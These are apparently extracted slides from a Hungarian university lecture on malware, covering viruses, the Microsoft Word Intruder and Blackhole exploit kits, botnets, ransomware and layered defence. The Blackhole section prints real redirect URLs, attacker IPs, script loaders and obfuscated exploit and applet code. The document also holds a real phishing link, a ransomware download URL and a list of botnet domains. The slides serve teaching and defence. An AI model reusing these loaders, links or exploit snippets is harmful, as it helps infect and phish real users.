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Alapfogalmak
Két magyar hackert keres a rend őrség
ORIGO 2016.08.10. 
Európai elfogatóparancs alapján csalás bűntettének megalapozott 
gyanúja miatt a Készenléti Rendőrség Nemzeti Nyomozó Iroda keresi a 
36 éves Halász Róbertet és 46 éves Halász Ladislavot – olvasható a 
rendőrség honlapján.
A magyar nemzetiségű, szlovák állampolgárságú testvérpár a jelenlegi 
információk alapján számítógépes vírusok és kalózprogramok által 
bejutott a kiszemelt cégek informatikai rendszerébe, majd a szlovák 
adóhatáság képviselőinek kiadva magukat, fizetésre szólították fel 
őket.

Alapfogalmak

Vírusok

Férgek

Trójaiak

Adware, spyware

Greyware

Olyan önreprodukáló 
számítógépes program, 
amely úgy fertőz más 

programokat, hogy azok 
tartalmazzák a vírus egy 

(esetleg megváltoztatott) új 
példányát.

Olyan szoftver, aminek a 
célja az, hogy a felhasználótól
annak tudta nélkül információt

juttasson el egy harmadik
félhez.

A greyware-ek legális körülmények
között forgalmazott alkalmazások,
melyeknél megvan az esély arra,
hogy a felhasználó tudta nélkül, 

ártó szándékkal települtek fel
a számítógépre. 

Legálisnak látszó program,
aminek szándékoltan az célja, 
hogy a számítógép működését 

zavarja, vagy kárt okozzon.

Olyan szoftver, aminek a 
célja az, hogy a felhasználóhoz

reklám tartalmú üzeneteket 
juttasson el.
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Vírusok csoportosítása

Fertőzött objektum alapján:
• Boot szektor: Boot vírus
• Futtatható program: Program vírus
• Dokumentum: Makró vírus
• Script program: Script vírus
• Ø: Féreg

Fertőzési mód alapján:
• Direkt akció
• Rezidens

Fontosabb trójai csoportok

• Disk wiper
• Keylogger
• Banki jelszólopó
• Spyware, kémprogram
• Backdoor, RAT
• Rootkit
• Ransomware
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Fertőzött objektum:

•Boot rekord (FBR, MBR)

•Program

•Makrókód

•Script

•Férgek

Az ősidőkben...

Makróvírusok

1996 1997 1998 1999 2000 2001 2002 2003 2004 2005

Boot File Macro Script I-Worm

Concept
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1995: Concept

• Csak a programokat gondolták veszélyesnek
• Dokumentumokat gyakran cserélnek
• Könnyű programozhatóság
• Gyenge védelem, rosszul dokumentált formátum
• Forráskódban terjed, a dokumentummal együtt
• Főleg MS Word és Excel

A leggyengébb láncszem
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Microsoft Word Intruder adatlap
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Exploit Added to MWI
CVE-2012-0158 May 2013
CVE-2010-3333 June 2013
CVE-2013-3906 February 2014
CVE-2014-1761 May 2014
CVE-2015-1641 December 2015
CVE-2016-4117 August 2016
CVE-2016-7193 March 2017
CVE-2017-0199 May 2017

Fertőzési statisztikák

Asia: 52.25%Worldwide: 39.43%

Ukraine/Russia: 53.72% EU/North America: 15.81%
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MWI

Жабер саппорта - mwi_purchase@exploit.im
Сумма претензии - 15000$

Давно являюсь пользователем сборки MWI, хоть и были вопросы был 
всем доволен.

….

посмотрим, что пишут реальные технические специалисты об MWI и 
сравнение MWI с другими офисными эксплойт-паками: 

https://hacktivity.com/en/downloads/archives/391
https://www.sophos.com/en-us/medialibrary/P...ware-groups.pdf
…
сравнение эксплойтов - я уже как-то писал про эти ссылки заметку на этом
форуме. о жалких поделках на базе моего кода и моих эксплойтов. MWI, к 
слову, находится в категории "Pro":

Banki jelszólopók

• Keylogging

• Form data capture

• Screen capture

• Mini screen capture

• Video capture

• MiTM böngésző adat lopás
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Phishing

Phishing in action
http://myaccount.google.com-
securitysettingpage.tk/security/signinoptions/password?e=am9obi5wb2Rlc3

RhQGdtYWlsLmNvbQ%3D%3D&fn=Sm9obiBQb2Rlc3Rh&n=Sm9obg%3D%3D&img=Ly9saDQ
uZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUF
BQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc%3D&id=1sutlodlwe

john.podesta@gmail.com
John PodestaJohn
lh4.googleusercontent.com/-QeYOlrdTjvY/AAAAAAAAAAI/AAAAAAAAABM/BBWU9T4mFTY/photo.jpg

John Podesta

Sara, This is a legitimate email. John needs to change his password 
immediately, and ensure that two-factor authentication is turned on 
his account. He can go to this link: 
https://myaccount.google.com/security to do both. It is absolutely 
imperative that this is done ASAP. If you or he has any questions, 
please reach out to me at 
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Blackhole kit névjegy

• Orosz fejlesztés

• Bérelhető infrastruktúra

• Traffic direction system 

(TDS)

• Malware terjesztés v. 

átirányítás

• Integrált víruskeresők

• Management felület, 

részletes statisztikák
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Traffic Direction System

TDS működésben

Browser agent
IP cím, feketelista
Operációs rendszer
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Blackhole exploit kit

Blackhole fertőzési séma
Spam e-mail:
http://bridgetblonde.info/KKkxkeBx/index.html
http://3d-cam.com/jiQ9VFzm/index.html
http://armovies.com.ar/e2fSCR2G/index.html
http://armovies.com.ar/x12RsWiw/index.html
http://chomikuj24.pl/KKkxkeBx/index.html

Átirányító script :
http://66.165.125.19/1fTeeH
MA/js.js Átirányító script :

http://74.119.235.211/114oTz
gs/js.js

Átirányító script :
http://bragan.net/cwM8
EscN/js.js

1. átirányító oldal 

Blackhole szerver
http://72.14.187.169/show
thread.php?t=73a07bcb51

f4be71

PDF exploit
http://72.14.187.169/q.php?
f=e4a98&e=1

SWF exploit
http://72.14.187.169/q.php
?f=e4a98&e=2

MDAC exploit
http://72.14.187.169/q.php?f
=e4a98&e=4

Java exploit
http://72.14.187.169/conte
nt/GPlugin.jar

Payload: FakeAV

Payload: ZeroAccess

Payload: ZBot

<html>
<h1>WAIT PLEASE</h1>
<h3>Loading...</h3>
<script type="text/javascript" src="http://66.165.125.19/1fTeeHMA/js.js"></script>
<script type="text/javascript" src="http://74.119.235.211/114oTzgs/js.js"></script>
<script type="text/javascript" 
src="http://akdegirmen.com/xLwjDW7S/js.js"></script>
<script type="text/javascript" src="http://bragan.net/cwM8EscN/js.js"></script>
<script type="text/javascript" 
src="http://casodisneyludico.ehost.com.ar/e1vU1o8J/js.js"></script></html>

document.location='http://72.14.187.169/showthread.php?t=73a07bcb51f4be71';

document.write('<center><h1>Please wait page is 
loading...</h1></center><hr>');function end_redirect(){}var
pdfver=[0,0,0,0],flashver=[0,0,0,0];try{var
PluginDetect={version:"0.7.6",name:"PluginDetect",handler:function(c,b,a){r
eturn function(){c(b,a)}},isDefined:function(b){return typeof
b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.to
String.call(b))},isFunc:function(b){return typeof
b=="function"},isString:function(b){return typeof
b=="string"},isNum:function(b){return typeof
b=="number"},isStrNum:function(b){return(typeof
b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-
]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var
d=this,a=d.isStrNum(b)?(d.isDefined(c)?new

<html><body><applet code='E&#46;cla&#115;&#115;' 
archive='http&#58;&#47;&#47;72.14.187.169&#47;content&#47;GPlugin&#
46;jar'><param name="p" test="12" valu="12" 
value="v&#115;&#115;Mlggo3Pd5PdBoPd=/gIPMvM-
Vc657/BG6cr"/></applet><script>
try{asd();}catch(qweasf){a=["G<H6>F=7.49B7F('oHF=7F9moCzm[?FJ8F 4JB7 
;JDF B8 ?<JGB=D...o/Czmo/HF=7F9moC9m')pE6=H7B<= 
F=GL9FGB9FH7()0}5J9 ;GE5F9nP{,{,{,{N,E?J8C5F9nP{,{,{,{Np79205J","9 
[?6DB=gF7FH7n05F98B<=q\"{.t.u\",=J>Fq\"[?6DB=gF7FH7\",CJ=G?F9qE6=H7
B<=(H,I,J)09F769= E6=H7B<=()0H(I,J)}},B8gFEB=FGqE6=H7B<=(I)09F769= 
72;F<E I!n\"6=GFEB=","FG\"},B8j99J2qE6=
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Blackhole payload

Zbot
25%

Ransomware
18%

PWS
12%

Sinowal
11%

FakeAV
11%

Backdoor
6%

ZAccess
6%

Downloader
2%

other
9%
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Botnetek

Botnet: hálózati összeköttetésben levő 
programok koordinált hálózata

Legális botnetek: SETI@Home, distributed 
SHA cracking

Illegális botnetek: spambot, DDoS

Klasszikus botnet

C&C
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tkggvtqvj.org yqdqyntx.com uvcaylkgdpg.biz vzcocljtfi.biz wojpnhwk.cc plrjgcjzf.net qegiche.ws
ylktrupygmp.cc ovdbkbanqw.com lxmpzyiq.com gkrobqo.com hunqbpya.net lmhfcocgiz.org epzyytco.ws
ampavhunh.com pzzyxnzhuv.com frdyiaosiir.ws aoghfp.cc mpbwqncg.net maaup.net knlln.cn zgoilqr.info
mmacjd.biz xteqxdqchft.cn yfhnwct.ws pxsxdxq.com vxmscyhd.org mtxyfon.info dkzjyt.com dmgetpyr.cn
mzxahp.cn kqrknnhrf.info ogkxwvhovbz.ws qxehqxit.biz eehjecijbcw.com dbrrvepie.cn ngzuuazhj.cn
zjjcnghtssj.com esebr.cc jygfwxz.info ayrrajawlx.com byymd.cc uixaky.ws weafo.biz qocrpt.ws
ewzbufbdlk.cc oxgcxl.biz nfojualjp.ws cielcc.org shoxy.org kufqvqp.biz uolygs.info orxdze.ws pmbucpkh.cn
hhjira.cn fkxyuq.ws gwlfrwqbq.ws wtouosaqc.info chzpfuvow.biz ixuae.biz puismaj.cn wtosljvw.net
dfrkr.biz ndnroawwps.cn rpyaqstbi.net lrrmirop.net tpcppmxwv.info ztoohkug.com cxtjlsahcy.biz tbjwzo.org
bcipb.org izcbraikou.org lofoagpxrg.com exzxtem.ws sktvhvjk.biz bfkcihrrot.org vmbbrkyeng.biz iqjwcv.com
jnfuoypwfj.biz ajncmeuks.net ajgwegcpxer.cn ccpzbpdf.cc eywbb.cn keqqhqh.com tzgkntni.net rzefcqqi.org
chksee.ws goivnhmg.ws nmymxvdoy.net vsszweyhv.cc xyjjopp.ws fprkm.com wwgbpxtc.net zxvnvogvw.info
wzicgwzi.cc bwmra.biz kchlauqwizo.cc mgqvvf.cc vkvhuwf.ws btideepjfn.info kgspolmwcxv.biz lrtaekxfj.biz
rxaiyurp.net rcfrbtcjfr.net hngawkjfv.ws tskkdfipdn.net cvqedllb.cc frcvsb.ws ojjvyuff.cc febqgpoenz.ws
wymsbw.cc wxukbbublku.ws zsexq.info devntynuh.cc hezehr.com vfyhrywh.cc ucemlxmi.org uymjuy.cn
swjshypxteq.ws qykwruksr.com olpekqdd.net cbixreeefq.cc ygkrvovicw.cc fpkdzqdvp.info endlc.com
tyagcrwilkx.ws dgdehs.net ksmnawmylfm.cn ckcaasms.cc rmixtljo.com jwkghbnkp.cc ozdnrocwz.ws zetragvba.ws
gktwbioipe.cn tybmxmebgc.com jalkfk.org vjufjzlm.ws ixpqjexc.com gjdrfnut.info cpnmqd.info qlizrrpggsq.cc
dylotp.net uiklnob.info tdamiflp.biz tkfpbrqwxk.cn ibnkmdtgig.org ffwimfkpg.org uixrykgs.biz rufqhx.biz
dyheelg.ws evpoqzoqjmr.net lbyhzszzdde.cc flwks.info kpfgcpuey.net wiuhlpp.biz dhcyufyc.org rzysrm.ws
uxtvptlmkk.cc ugkmfn.biz ygtmnxmxlz.ws hguuwx.ws kkcluicw.com uhckidiwn.info juvan.com vzehcjhw.biz
bssdtlve.cc akgclqkc.ws lzigpmrd.org youeojxlfs.com ifvyujy.ws aikyjlcuf.cn rqizd.biz wpdkyves.com
jtvczx.ws jngwo.cn mgloa.cn tpciyshuop.net jvijomaeics.cn mzrgz.ws gmkfdalzku.org crvch.cn ravybmhc.biz
krdvscmyrq.com avvazijw.info lioqqv.cn vrqhb.ws ynxfoon.org qugjbaox.com optkts.cn skajnbbdd.org
vokrmste.net ybchzycxo.org fjoqriw.biz ulgqtgp.cc kvaqcbhmq.org ocqiugech.com sxggpn.cc tdrwontf.net
ywvjoqazmxu.ws ujgoro.cn itqypogx.net funqqnjenf.org bgcrzv.biz kkegeg.cc jklxn.org hxtekvlzc.info
sblckqva.ws pytcqnxohot.biz nqirdghwgk.org phdra.cc qttcwzcg.com fiazp.cn hsiawmtm.net ijhznlctn.info
peclhki.cn tasograsgu.com xyauuzqqd.cn ejyvk.cc eomojhau.com whvvfmgk.net xcusd.net kjbxwvtayr.net
sgthfv.cn yskbfwjoah.ws rwdjx.cn ppjrhc.com jphsqpmkq.ws bfknaqcli.info prcdconh.ws dwxmlzxtgey.biz
zuuybcnjmw.org biwobsfc.ws gmhigexiarb.cc nrgiq.biz wdefm.cc fqssbltho.com wesqqkdpx.ws yxaidfevey.info
avsqjxbm.org uhqppobkk.cc ntlovbnjxmv.com qwulpq.cn uwhtie.com hhteznvd.ws iemithsywd.info mdhxkjlt.biz
mrsinvojznj.cn ryfjtxlp.org gcwgoigyw.cn pxyetz.infomylecqfa.cn wkbtsutp.net jimlst.com yfzklaex.info
xwtfxz.biz ximulgkfecb.org mgxngnwgy.ws xxhddhr.info wuiatp.cn wepvixvkqg.cn dxxtguww.cn xwfxr.ws
pxvus.biz hdnjfo.com kvfvpszaxv.biz gopfgie.net ibrdykqf.ws xrvmv.ws hlmcbijktk.com xijacexv.cc
tjvefqxqlr.info rbifty.biz rdfarfyewl.com dpvqoaef.ws

Random DNG
C&C

C&C

C&C

C&C C&C

C&C

C&C

C&C

C&C

P2P botnet
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Zeus botnet (Zbot, Citadel, SpyEye, Gameover)

Botnetek vezérlése

ELTE IT Biztonság Speci
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Bot-fertőzések 2015-ben

2016 - LOCKY

Ransomware: a kezdetek

1989/1990 - AIDS INFORMATION TROJAN
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1989/1990 - AIDS INFORMATION TROJAN

Ransomware: a kezdetek
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Ransomware körkép

Cerber ransomware

http://www.ldlogistic.it/kls.doc
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AZ ÉN NAGYON FONTOS 
DOKUMENTUMOM TARTALMA

RSA-2048
PUBLIC KEY
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WYLX AGRH INLLQA
YM 9$WWQLKA WPOS

RSA-2048
PUBLIC KEY

AES-128
KEY

AZ ÉN NAGYON FONTOS 
DOKUMENTUMOM TARTALMA

RSA-2048
PUBLIC KEY

AES-128
KEY

AZ ÉN NAGYON FONTOS 
DOKUMENTUMOM TARTALMA

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS
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WYLX AGRH INLLQA
YM 9$WWQLKA WPOS

AES-128
M@Q

RSA-2048
PUBLIC KEY

AES-128
KEY

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS

AES-128
M@Q

RSA-2048
PUBLIC KEY

AES-128
KEY

Csak a memóriában
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AES-128
M@Q

RSA-2048
PUBLIC KEY

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS

AES-128
M@Q

RSA-2048
PUBLIC KEY

Visszakódolásra 
nem jó

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS
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AES-128
M@Q

RSA-2048
PRIV KEY

A bűnözőknél van

AES-128
M@Q

RSA-2048
PUBLIC KEY

Visszakódolásra 
nem jó

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS

RSA-2048
PRIV KEY

Ezt adják el 
pénzért

RSA-2048
PUBLIC KEY

AES-128
KEY

Visszakódolásra 
nem jó

WYLX AGRH INLLQA
YM 9$WWQLKA WPOS
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Miért most?

Eközben Nigériában
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Fertőzés mechanizmusa

letöltés HawkEye

Nigériai fiatalok
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Modus Operandi – kifizetés eltérítés

Rendelnék 30 dobozzal

Fizess 30,000 pénzt

Modus Operandi – kifizetés eltérítés

Rendelnék 30 dobozzal

Fizess 30,000 pénzt

Áldozat Károsult
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De ez velünk nem történhet meg, ugye?

De ez velünk nem történhet meg, ugye?

@A feleség hackere: A sztori azért kamu, mert túl 
nagy a befektetés, a haszonhoz képest.
Mellesleg az új számlaszámnak is fel kellett volna
tűnni. Főleg ha valamilyen üveghegyen túli bankba
történik az utalás. Ha meg nem, akkor nagyon rizikós
a "hackernek", pillanatokon belül lebukik.

@A feleség hackere: A sztori azért kamu, mert túl 
nagy a befektetés, a haszonhoz képest.
Mellesleg az új számlaszámnak is fel kellett volna
tűnni. Főleg ha valamilyen üveghegyen túli bankba
történik az utalás. Ha meg nem, akkor nagyon rizikós
a "hackernek", pillanatokon belül lebukik.

kamut kialtok.

Ha nem egyezik a szamlaszam a nevvel, visszajon az utalas.

Tegyuk fel, hogy megcsinalta a kamunevet, kamuceges szamlat. 
Ennek mind nyoma van. Ha egy szaros parmillas szamla
(kiscegnel ekkora?! Nagycegnel nem nezik?) miatt kepes
bortonbe menni, aki ilyen rafkos, az ugye megint santit...

Szerintem inkabb ne told tul a blogolast, vagy trippelj
hihetobbet.

kamut kialtok.

Ha nem egyezik a szamlaszam a nevvel, visszajon az utalas.

Tegyuk fel, hogy megcsinalta a kamunevet, kamuceges szamlat. 
Ennek mind nyoma van. Ha egy szaros parmillas szamla
(kiscegnel ekkora?! Nagycegnel nem nezik?) miatt kepes
bortonbe menni, aki ilyen rafkos, az ugye megint santit...

Szerintem inkabb ne told tul a blogolast, vagy trippelj
hihetobbet.

Hatalmas kamu szerintem..
1. ha aki utalja nem néz meg a számlaszámot, hanem a jól
bevált számlaszámra utalja, (mondjuk sablon alapján) akkor a 
partner kapja a pénzt, csak nem tudja miért.
2. feltűnik az új bankszámlaszám, akkor általában hivatalos
formában rá szoktak kérdezni.. és egyből kiderül hogy nincs is 
számla (sőt.. van ahol hivatalos iratot kérnek a megváltozott
számlaszám miatt)

Szóval ha ez valahol mégis megtörtént, akkor ott jó pár embert
páros lábbal kell kirúgni.

Hatalmas kamu szerintem..
1. ha aki utalja nem néz meg a számlaszámot, hanem a jól
bevált számlaszámra utalja, (mondjuk sablon alapján) akkor a 
partner kapja a pénzt, csak nem tudja miért.
2. feltűnik az új bankszámlaszám, akkor általában hivatalos
formában rá szoktak kérdezni.. és egyből kiderül hogy nincs is 
számla (sőt.. van ahol hivatalos iratot kérnek a megváltozott
számlaszám miatt)

Szóval ha ez valahol mégis megtörtént, akkor ott jó pár embert
páros lábbal kell kirúgni.
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De ez velünk nem történhet meg, ugye?

Mi a víruskeresés?

• Hipotézisteszt, ahol a nullhipotézis: tiszta
állomány, az alternatív hipotézis: malware

Ha a nullhipotézist elvetjük, pedig igaz, 
akkor elsőfajú hibát (fals pozitív, alfa (α) hiba) 
követünk el; ha ellenben elfogadjuk, pedig 
nem igaz, akkor másodfajú hibát (fals negatív, 
béta (β) hiba) követünk el.

• Aszimmetrikus hipotézisteszt, ahol a nullhipotézis: 
tiszta állomány, az alternatív hipotézis: malware
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Többréteg ű védelem
Application Control
Potenciálisan veszélyes alkalmazások nem 
futhatnak

Anti-Spam
Tömegesen terjesztett e-mailek szűrése

Víruskeres ő
Ismert kártevők specifikus, új kártevők 
generikus felismerése

Tűzfal
Kommunikációs kísérletek blokkolása, 
külső támadások szűrése

IPS
Csomagszintű felismerés

URL szűrés
Reputációs és feketelista alapú szűrés

Data Loss Prevention
Szenzitív információk kiszivárgásának 
megakadályozása

Exploit védelem
Biztonsági hibák kihasználásának 
detektálása

Viselkedésalapú védelem
A futó program által a rendszerben végzett 
műveletek ellenőrzése 

Többréteg ű védelem
Application Control
Potenciálisan veszélyes alkalmazások nem 
futhatnak

Anti-Spam
Tömegesen terjesztett e-mailek szűrése

Víruskeres ő
Ismert kártevők specifikus, új kártevők 
generikus felismerése

Tűzfal
Kommunikációs kísérletek blokkolása, 
külső támadások szűrése

IPS
Csomagszintű felismerés

URL szűrés
Reputációs és feketelista alapú szűrés

Data Loss Prevention
Szenzitív információk kiszivárgásának 
megakadályozása

Exploit védelem
Biztonsági hibák kihasználásának 
detektálása

Viselkedésalapú védelem
A futó program által a rendszerben végzett 
műveletek ellenőrzése 

Anti-Spam
• Terjesztéshez használt levelek blokkolása

URL szűrés
• A letöltési láncban használt weboldalak blokkolása

Víruskereső
• Az exploitokat letöltő és futtató scriptek detektálása

Víruskereső

• Az exploitot tartalmazó letöltött fájlok (SWF, PDF, Java, 
HTML) detektálása

Exploit 
védelem

• Alkalmazás exploitálás detektálása

Víruskereső
• A letöltött Win32 payload detektálása

Viselkedésal
apú 

védelem

• A futtatott Win32 payload detektálása

Tűzfal
• A vezérlő szerverrel való kapcsolatfelvétel detektálása

DLP
• Lopott adatok kiküldésének detektálása

Data Loss Prevention
Szenzitív információk kiszivárgásának 
megakadályozása
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Víruskeres ő tesztek

• Melyik a legjobb víruskereső?
�Vírusfelismerési arány
�Proaktív felismerési képesség
�Memóriahasználat
�Sebesség
�Platform lefedettség
�Stabilitás

Rossz tesztek

Anti-virus products are rubbish, says Imperva

‘Spend not proportional to effectiveness’
By Richard Chirgwin

A study released in December by US security outfit Imperva has tipped a bucket 
on the multi-billion-dollar anti-virus industry, claiming that initial detection 
rates are as low as five percent, and concluding that enterprise and consumer 
anti-virus spend “is not proportional to its effectiveness”.
Working in conjunction with students from the Technion-Israel Institute of 
Technology, the company tested 82 malware samples against 40 anti-virus 
products including offerings from Microsoft, Symantec, McAfee and Kaspersky.
The test revealed that while catalogued viruses are well-detected, “less than 5% 
of anti-virus solutions in the study were able to initially detect previously non-
cataloged viruses and that many solutions took up to a month or longer 
following the initial scan to update their signatures.”

Anti-Spam

•Terjesztéshez használt levelek blokkolása

URL szűrés

•A letöltési láncban használt weboldalak blokkolása

Víruskereső

•Az exploitokat letöltő és futtató scriptek detektálása

Víruskereső

•Az exploitot tartalmazó letöltött fájlok (SWF, PDF, Java, HTML) detektálása

Exploit védelem

•Alkalmazás exploitálás detektálása

Víruskereső

•A letöltött Win32 payload detektálása

Viselkedésalapú 
védelem

•A futtatott Win32 payload detektálása

Tűzfal

•A vezérlő szerverrel való kapcsolatfelvétel detektálása
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Jó tesztek

Zárszó

• Naprakész vírusvédelem
• Biztonsági javítások telepítése
• Say no to social engineering

•Office frissítések
•Java frissítések
•Backup!!!


